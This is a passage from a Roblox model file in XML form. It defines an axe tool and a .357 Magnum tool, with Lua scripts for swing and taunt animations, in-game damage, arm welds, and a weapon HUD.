					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=74901237</url></Content>
					<string name="Name">Taunt</string>
				</Properties>
			</Item>
			<Item class="BoolValue" referent="RBX5082">
				<Properties>
					<string name="Name">Taunting</string>
					<bool name="Value">false</bool>
				</Properties>
			</Item>
			<Item class="Camera" referent="RBX5083">
				<Properties>
					<Ref name="CameraSubject">null</Ref>
					<token name="CameraType">0</token>
					<CoordinateFrame name="CoordinateFrame">
						<X>3.00843692</X>
						<Y>2.04299498</Y>
						<Z>0.38796404</Z>
						<R00>-0.0349024534</R00>
						<R01>-0.16666688</R01>
						<R02>0.98539561</R02>
						<R10>-3.42726707e-007</R10>
						<R11>0.985996068</R11>
						<R12>0.166768461</R12>
						<R20>-0.999391019</R20>
						<R21>0.005820252</R21>
						<R22>-0.0344138145</R22>
					</CoordinateFrame>
					<float name="FieldOfView">70</float>
					<CoordinateFrame name="Focus">
						<X>-0.200000003</X>
						<Y>1.5</Y>
						<Z>0.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">ThumbnailCamera</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX5084">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Local Gui</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


local sp=script.Parent
local sword=sp.Handle


enabled=true
taunting=false

function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end
&#9;enabled=false
&#9;mouse.Icon=&quot;rbxasset://textures\\GunWaitCursor.png&quot;
&#9;wait(1.25)
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled=true
end


function onEquippedLocal(mouse)
&#9;local currentlast=lastequipped
&#9;if mouse==nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end
&#9;mouse.Icon=&quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function()
&#9;&#9;onButton1Down(mouse)
&#9;end)
&#9;mouse.KeyDown:connect(function(key)
&#9;&#9;key=string.lower(key)
&#9;&#9;if key==&quot;l&quot; or key==&quot;t&quot; or key==&quot;g&quot; then&#9;-- :3
&#9;&#9;&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;if h~=nil then
&#9;&#9;&#9;&#9;sp.Taunting.Value=true
&#9;&#9;&#9;&#9;h.WalkSpeed=0
&#9;&#9;&#9;&#9;tauntanim=h:LoadAnimation(sp.Taunt)
&#9;&#9;&#9;&#9;tauntanim:Play()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(1.4)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;&#9;wait(1)
&#9;&#9;&#9;&#9;h.WalkSpeed=16
&#9;&#9;&#9;&#9;sp.Taunting.Value=false
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end)
end
sp.Equipped:connect(onEquippedLocal)

while sp:FindFirstChild(&quot;RunAnim&quot;)==nil do
&#9;wait()
end
sp.RunAnim.Changed:connect(function()
&#9;local h=sp.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;local t=sp.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;local anim=sp:FindFirstChild(sp.RunAnim.Value)
&#9;if anim and t and h then
&#9;&#9;theanim=h:LoadAnimation(anim)
&#9;&#9;if theanim and h.Health&gt;0 then
&#9;&#9;&#9;theanim:Play()
&#9;&#9;&#9;if sp.RunAnim.Value==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;&#9;wait(.25)
&#9;&#9;&#9;&#9;swordOut()
&#9;&#9;&#9;&#9;wait(.5)
&#9;&#9;&#9;&#9;swordUp()
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5085">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">SwordScript</string>
					<ProtectedString name="Source">--Stickmasterluke
--A nice simple axe


sp=script.Parent

r=game:service(&quot;RunService&quot;)


anims={&quot;RightSlash&quot;,&quot;LeftSlash&quot;,&quot;OverHeadSwing&quot;}

basedamage=5
slashdamage=18
swingdamage=28
damage=basedamage

sword=sp.Handle
sp.Taunting.Value=false

local SlashSound=Instance.new(&quot;Sound&quot;)
SlashSound.SoundId=&quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent=sword
SlashSound.Volume=.7

local UnsheathSound=Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId=&quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent=sword
UnsheathSound.Volume=1


function blow(hit)
&#9;if (hit.Parent==nil) then return end -- happens when bullet hits sword
&#9;local humanoid=hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter=sp.Parent
&#9;local vPlayer=game.Players:playerFromCharacter(vCharacter)
&#9;local hum=vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if sp held by a character
&#9;if humanoid~=nil and humanoid~=hum and hum~=nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;taggedPlayer = game.Players:GetPlayerFromCharacter(hit.Parent)
&#9;&#9;&#9;&#9;if taggedPlayer ~= nil then
&#9;&#9;&#9;&#9;&#9;if taggedPlayer.Neutral == false and vPlayer.Neutral == false then
&#9;&#9;&#9;&#9;&#9;&#9;if taggedPlayer.TeamColor ~= vPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;wait(.66)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;elseif taggedPlayer.Neutral == true and vPlayer.Neutral == true then
&#9;&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;&#9;wait(.66)
&#9;&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;elseif taggedPlayer == nil then
&#9;&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)
&#9;&#9;&#9;&#9;&#9;wait(.66)
&#9;&#9;&#9;&#9;&#9;untagHumanoid(humanoid)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end

function tagHumanoid(humanoid, player)
&#9;local creator_tag=Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value=player
&#9;creator_tag.Name=&quot;creator&quot;
&#9;creator_tag.Parent=humanoid
end

function untagHumanoid(humanoid)
&#9;if humanoid~=nil then
&#9;&#9;local tag=humanoid:findFirstChild(&quot;creator&quot;)
&#9;&#9;if tag~=nil then
&#9;&#9;&#9;tag.Parent=nil
&#9;&#9;end
&#9;end
end

sp.Enabled=true
function onActivated()
&#9;if sp.Enabled and not sp.Taunting.Value then
&#9;&#9;sp.Enabled=false
&#9;&#9;local character=sp.Parent;
&#9;&#9;local humanoid=character.Humanoid
&#9;&#9;if humanoid==nil then
&#9;&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;&#9;return 
&#9;&#9;end
&#9;&#9;SlashSound:play()
&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;while newanim==sp.RunAnim.Value do
&#9;&#9;&#9;newanim=anims[math.random(1,#anims)]
&#9;&#9;end
&#9;&#9;sp.RunAnim.Value=newanim
&#9;&#9;if newanim==&quot;OverHeadSwing&quot; then
&#9;&#9;&#9;damage=swingdamage
&#9;&#9;else
&#9;&#9;&#9;damage=slashdamage
&#9;&#9;end
&#9;&#9;wait(.66)
&#9;&#9;damage=basedamage
&#9;&#9;sp.Enabled=true
&#9;end
end

function onEquipped()
&#9;UnsheathSound:play()
end

sp.Activated:connect(onActivated)
sp.Equipped:connect(onEquipped)

connection=sword.Touched:connect(blow)


</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5086">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>-0.300000012</Y>
					<Z>-0.400000006</Z>
					<R00>0.948302746</R00>
					<R01>-4.26769257e-005</R01>
					<R02>0.317367136</R02>
					<R10>0.317351252</R10>
					<R11>0.0101264119</R11>
					<R12>-0.948254108</R12>
					<R20>-0.00317336619</R20>
					<R21>0.999948859</R21>
					<R22>0.00961643457</R22>
				</CoordinateFrame>
				<string name="Name">Magnum</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126960462</url></Content>
				<string name="ToolTip">.357 Magnum</string>
			</Properties>
			<Item class="Part" referent="RBX5087">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>3.3130002</X>
						<Y>0.993000031</Y>
						<Z>-24.7860012</Z>
						<R00>-0.941898823</R00>
						<R01>-0.33588019</R01>
						<R02>0.00336131454</R02>
						<R10>-4.26769257e-005</R10>
						<R11>0.0101265907</R11>
						<R12>0.9999488</R12>
						<R20>-0.335896999</R20>
						<R21>0.941850364</R21>
						<R22>-0.009552598</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>3.71638775e-020</X>
						<Y>0.00812733639</Y>
						<Z>3.68941488e-020</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5088">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209803</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5089">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1.79999995</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=97848255</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5090">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510737</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5091">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5092">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5093">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=79401392 </url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1.60000002</X>
							<Y>1.29999995</Y>
							<Z>1.60000002</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX5094">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new(&quot;Weld&quot;)
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.5, 0.9, 0.7) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
local weld2 = Instance.new(&quot;Weld&quot;)
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, 0.6, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-20), 0)
welds[2] = weld2
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print(&quot;sh&quot;)
end
else
print(&quot;arms&quot;)
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5095">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5096">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5097">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5098">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5099">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5100">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5101">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5102">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">RightFrame</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5103">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">LeftFrame</string>
							<UDim2 name="Position">
								<XS>-0.5</XS>
								<XO>-7</XO>
								<YS>0</YS>
								<YO>-1</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>14</XO>
								<YS>0</YS>
								<YO>2</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="ImageLabel" referent="RBX5104">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<Content name="Image"><url>http://www.roblox.com/asset/?id=115400215</url></Content>
							<string name="Name">TargetHitImage</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-25</XO>
								<YS>0</YS>
								<YO>-25</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>50</XO>
								<YS>0</YS>
								<YO>50</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5105">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">6</token>
							<string name="Name">ReloadingLabel</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>20</XO>
								<YS>0</YS>
								<YO>-20</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Reloading</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">2</token>
							<bool name="Visible">false</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="Frame" referent="RBX5106">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">BottomFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5107">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5108">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX5109">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">357Mag</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 40
-- How many times per second the gun can fire
local FireRate = 1 / 10
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 350
-- In radians the minimum accuracy penalty
local MinSpread = 0.02
-- In radian the maximum accuracy penalty
local MaxSpread = 0.09
-- Number of bullets in a clip
local ClipSize = 6
-- DefaultValue for spare ammo
local SpareAmmo = 60
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.04
-- Time it takes to reload weapon
local ReloadTime = 2
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

